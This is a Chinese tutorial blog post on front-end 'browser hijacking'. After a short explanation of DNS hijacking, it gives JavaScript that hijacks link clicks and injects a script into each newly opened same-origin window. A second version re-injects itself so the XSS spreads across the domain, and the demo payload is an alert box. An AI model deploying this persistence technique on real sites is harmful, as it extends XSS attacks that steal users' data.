美文网首页Html5@IT·互联网WEB前端程序开发
Web 前端 黑客技术—— 浏览器劫持技术

Web 前端 黑客技术—— 浏览器劫持技术

作者: 我是奋斗哥 | 来源:发表于2016-12-21 22:55 被阅读559次

    1.前言


    相信大家都遇到过这样的情况:
    当你在家正兴致勃勃的网上冲浪的时候,忽然之间,所有网页都打不开了,所有联网的软件都无法联网了,用测速软件测网速,网速却显示正常,但就是无法浏览网页或者打开网页奇慢。

    这是什么原因呢?
    很不幸的告诉你,这是因为你的 ** DNS 被劫持** 了

    2014年1月21日下午15点中国境内发生 DNS 解析服务故障(主要原因是DNS污染或 DNS劫持),导致 百度 等多家网站长达几个小时之内无法访问。其指向的 IP地址 为65.49.2.178,所以该IP又被冠名为65.49.2.178事件。

    2014年1月21日下午三点十分左右,全国 DNS 域名解析系统出现了大范围的访问故障,包括 DNSPod 在内的多家域名解析服务提供商予以确认,此次事故波及全国,有近三分之二的网站不同程度的出现了不同地区、不同网络环境下的访问故障,其中百度新浪 等知名网站也受到了影响。

    2.什么是dns劫持?


    DNS劫持 又称域名劫持,是指通过某些手段取得某域名的解析控制权,修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址。
    如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS劫持的基本原理。DNS劫持其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。

    好了扯了这么多,进入正题,我今天要分享的是与之相关的另外一种劫持技术——浏览器劫持技术

    3.浏览器劫持


    浏览器劫持技术是指通过劫持用户点击链接操作,在打开新窗口的时候注入攻击者的 JavaScript 脚本,以达到将 XSS(跨站脚本攻击)威胁延续到同域内的其他页面的目的。

    Example:

    HTML文件

    <!DOCTYPE html>
    <html>
        <head>
            <meta charset="UTF-8">
            <title></title>
        </head>
        <body>
            <!-- 劫持链接对象 -->
            <a href="test_映纷创意.html">映纷创意</a>
            <a href="test_映纷创意_joinus.html">映纷创意_joinus</a>
            <script type="text/javascript">
                function scriptobj(window_obj, src){
                    s = window_obj.document.createElement('script');
                    s.src = src;
                    window_obj.document.getElementsByTagName('body')[0].appendChild(s);
                }
                function hijack_links(js){
                    /*劫持链接点击,参数说明:
                        js:注入打开的同域链接页面的目标 js 文件*/
                    for(i = 0; i < document.links.length; i++){
                        //遍历链接对象,劫持 onclick 事件
                        document.links[i].onclick = function(){
                            x = window.open(this.href); //获取打开新窗口的对象
                            setTimeout("scriptobj(x,'"+js+"')",1000);
                            //延时 2 秒向打开的劫持链接对象的 DOM 树种注入 alert.js 文件
                            return false;
                        };
                    }
                }
                hijack_links('js/alert.js');
            </script>
        </body>
    </html>
    

    js 文件(alert.js)

    alert("哈哈,你被劫持了!");
    

    通过测试,我们发现从当前网页打开的所有链接都被劫持了(这里为了测试,使用弹出框来代表被注入的脚本文件)

    原网页 新打开的窗口1 新打开的窗口2

    为了让这样的劫持继续下去,可以在 alert.js 中继续执行 hijack_links ,以达到在同域内对任意页面进行控制的目的。

    修改后的 js 文件如下(alert.js):
    (这里依然使用弹出框来代表新打开窗口已被注入脚本文件)

    alert("哈哈,你被劫持了!");
    
    function scriptobj(window_obj, src) {
        s = window_obj.document.createElement('script');
        s.src = src;
        window_obj.document.getElementsByTagName('body')[0].appendChild(s);
    }
    
    function hijack_links(js) {
        /*劫持链接点击,参数说明:
            js:注入打开的同域链接页面的目标 js 文件*/
        for(i = 0; i < document.links.length; i++) {
            //遍历链接对象,劫持 onclick 事件
            document.links[i].onclick = function() {
                x = window.open(this.href); //获取打开新窗口的对象
                setTimeout("scriptobj(x,'" + js + "')", 1000);
                //延时 2 秒向打开的劫持链接对象的 DOM 树种注入 alert.js 文件
                return false;
            };
        }
    }
    hijack_links('js/alert.js');
    

    这时,你会发现同域内的所有你打开的网页都被劫持了,即使你从新打开的网页中点击任何链接打开其他窗口依然在被劫持的域名内,无论你打开多少网页,都会被攻击者注入脚本。

    参考《Web 前端黑客技术揭秘》

    相关文章

      网友评论

      • 全真教丿尹志平: setTimeout("scriptobj(x,'"+js+"')",1000); 这里面的方法会执行?都是字符串了啊,求解释!!
        全真教丿尹志平:@我是奋斗哥 我试了下,确实有用。怪我入行不深。
        我是奋斗哥:这个是 setTimeout 的另外一种语法 "setTimeout(code, delay)
        )",详情可以 Google
      • 网络小斐:多学习一下
        我是奋斗哥:加油!:fist:
      • 4716270e08dd:原来这就是DNS劫持
        我是奋斗哥:@不走尋常路 这个里面的具体原理需要懂一些前端知识的人才能看懂,简单来说DNS劫持一般给你的页面插入广告,或者跳转其他网站,这种劫持一般是你看得见的,而浏览器劫持一般你看不见但是他已经窃取了你的数据
        4716270e08dd: @我是奋斗哥 这方面我就不懂
        我是奋斗哥:@不走尋常路 这个不是DNS劫持,这是黑客常用的另外一种一用劫持方式——浏览器劫持。DNS一般会将你要访问的网站替换成其他网站,或者假的网站,或者植入广告,比如运营商劫持(详细定义见文中开头处),而浏览器劫持则一般不会替换你要访问的网址,但是会对你的每一次点击链接后打开的网站植入js 代码,以达到诸如窃取用户信息和目的。

      本文标题:Web 前端 黑客技术—— 浏览器劫持技术

      本文链接:https://www.haomeiwen.com/subject/ncqcvttx.html